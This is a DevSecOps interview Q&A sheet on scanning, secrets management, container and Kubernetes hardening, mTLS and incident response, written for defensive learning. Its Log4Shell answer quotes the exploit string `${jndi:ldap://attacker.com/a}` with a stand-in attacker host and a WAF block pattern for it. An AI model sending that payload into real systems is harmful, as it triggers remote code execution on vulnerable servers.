Contents

Security & DevSecOps — Interview Questions & Answers **1**

Security & DevSecOps — Interview Questions & Answers

Q1: What is the difference between SAST, DAST, and SCA? > - **SAST (Static)**: Analyzes source code without executing. Runs at commit/CI time. Finds SQL injection patterns, hardcoded secrets, dangerous function calls. Fast, no running app needed. High false positive rate. > - **DAST (Dynamic)**: Tests running application by sending malicious payloads. Finds auth bypasses, XSS, injection that only appears at runtime. Slower, needs deployed environment. > - **SCA (Software Composition Analysis)**: Scans third-party dependencies for known CVEs. Finds "you're using Log4j 2.14, which has CVE-2021-44228." Runs at CI time against package manifests. > > A mature DevSecOps pipeline uses all three at different stages.

Q2: How do you prevent secret sprawl in a large organization? > 1. **Central secrets management**: Vault or AWS Secrets Manager as single source of truth > 2. **Eliminate static credentials**: Use dynamic secrets (Vault DB engine) and IRSA/Workload Identity > 3. **Pre-commit scanning**: gitleaks/detect-secrets hook prevents secrets from ever entering VCS > 4. **Secret rotation automation**: Vault leases or AWS Secrets Manager auto-rotation > 5. **Audit trail**: Every secret access logged; alert on anomalous access patterns > 6. **Break-glass procedure**: For emergencies — logged, time-limited, reviewed

---

Q3: Walk through securing a container from Dockerfile to production. > 1. **Dockerfile**: Minimal base (distroless/alpine), run as `USER 1001`, multi-stage build, pin digest not tag > 2. **CI scan**: Trivy on every build — fail on CRITICAL CVEs > 3. **Registry**: Private registry, image signing with Cosign, SBOM attached > 4. **K8s admission**: Kyverno/OPA policy rejects unsigned images or images from untrusted registries > 5. **Runtime**: Pod security context (`readOnlyRootFilesystem`, `allowPrivilegeEscalation: false`, drop all capabilities), NetworkPolicy restricting egress > 6. **Runtime monitoring**: Falco watching for unexpected process execution, file writes, network connections > 7. **Continuous**: Weekly re-scans of deployed image digests against updated CVE database

---

Q4: Explain the principle of least privilege and how you enforce it in AWS + Kubernetes. > Give every identity (user, service, role) only the minimum permissions needed for its function, and nothing more. > > **AWS**: Start with deny-all. Add only specific actions on specific resources. Use IAM Access Analyzer to find overly permissive policies. Use IRSA instead of node instance profiles (pod-level permissions vs node-level). Use SCPs in AWS Organizations to set organization-wide maximum permissions. > > **Kubernetes**: Create Role/ClusterRole with specific verbs (get, list, watch) on specific resources. Never use `verbs: ["*"]`. Service accounts get only what their workload needs. Audit with `kubectl auth can-i --list`. Disable ServiceAccount token auto-mounting by default.

Q5: What is Log4Shell (CVE-2021-44228)? What would you have done as a DevOps engineer? > Log4Shell was a critical RCE vulnerability in Log4j 2.x. The `${jndi:ldap://attacker.com/a}` string in any logged input triggered a remote class load → remote code execution. CVSS 10.0. > > **Immediate response (hours)**: > 1. Run SCA scan across all services — find every service using Log4j > 2. Check if JNDI is exploitable: WAF rule to block `${jndi:` patterns at perimeter > 3. Set JVM flag `-Dlog4j2.formatMsgNoLookups=true` as immediate mitigation > > **Short-term (days)**: > 4. Patch to Log4j 2.17.1+ across all services > 5. Deploy and rollout via CI/CD pipeline > 6. Verify with container re-scan > > **Long-term**: > 7. Implement SBOM for all services — scan continuously against CVE feed > 8. Set CVE patching SLA (critical: 24hrs)

Q6: What is RBAC in Kubernetes and how does it differ from ABAC? > **RBAC (Role-Based Access Control)**: Permissions based on *roles* assigned to subjects. Subjects are users, groups, service accounts. Resources are API objects. Verbs are actions. Defined with Role/ClusterRole + RoleBinding/ClusterRoleBinding

objects. Enabled by default since K8s 1.6. > > **ABAC (Attribute-Based Access Control)**: Older K8s mechanism. Permissions based on attributes (user, resource, namespace) in a static policy file on the API server. Hard to manage, no dynamic updates, not recommended.

Q7: How do you handle a discovered CVE in a base image used by 50+ services? > 1. **Automated detection**: Container scanning in CI + scheduled re-scans of deployed images should have already alerted > 2. **Assess severity**: CVSS score, exploitability, whether affected package is actually used > 3. **Triage**: Is this exploitable in our environment? Is a patch available? > 4. **Patch**: Update base image in a shared Dockerfile or base image repository. All 50 services rebuild automatically if using the same base — this is why centralized base images matter. > 5. **Emergency if critical**: Force-rebuild all images via CI pipeline trigger, deploy within SLA window > 6. **Verify**: Re-scan all images post-patch > 7. **Process improvement**: Implement image provenance — track which base image version each service uses

---

Q8: What is mTLS and why is it important in a service mesh? > mTLS (mutual TLS) means both client and server present certificates and verify each other — not just the server authenticating itself to the client (regular TLS). > > In a service mesh (Istio/Linkerd), every pod gets a SPIFFE X.509 certificate tied to its Kubernetes Service Account. When service A calls B: > - A's sidecar presents its certificate — B's sidecar verifies A's identity > - B's sidecar presents its certificate — A's sidecar verifies B's identity > - All traffic is encrypted in transit > > This prevents: lateral movement after a pod compromise, impersonation attacks, traffic interception on the cluster network.

Q9: What are the OWASP Top 10? Which are most relevant to DevOps? > Most relevant to DevOps pipeline and infrastructure: > > - **A05: Security Misconfiguration** — default credentials, open S3 buckets, unnecessary features enabled. Caught by: tfsec, checkov, AWS Config rules > - **A06: Vulnerable and Outdated Components** — unpatched libraries. Caught by: Snyk, Trivy, Dependabot > - **A02: Cryptographic Failures** — data not encrypted at rest/transit. Enforced by: Terraform policy, K8s NetworkPolicy, TLS enforcement > - **A04: Insecure Design** — lack of threat modeling. Addressed by: security champions, design reviews > - **A08: Software and Data Integrity Failures** — unsigned images, CI/CD pipeline tampering. Addressed by: Cosign, SLSA, pipeline security

---

Q10: How do you audit Kubernetes for security misconfigurations? > Tools and checks: > - `kube-bench` — runs CIS Kubernetes Benchmark, checks API server flags, etcd encryption, RBAC setup > - `kube-hunter` — active security hunting for exposed endpoints, privilege escalation paths > - `kubectl-who-can` — find who has permission to do specific actions > - Polaris (Fairwinds) — validates K8s resources against best practices > - Checkov on K8s manifests in Git repo > > Key things to check: > 1. Are any pods running as root? `kubectl get pods -A -o json | jq '.items[].spec.containers[].securityContext'` > 2. Anonymous API access? `kubectl --as system:anonymous get pods` > 3. Dashboard exposed publicly? > 4. Any secrets in ConfigMaps? > 5. Etcd encrypted at rest? > 6. Audit logs enabled?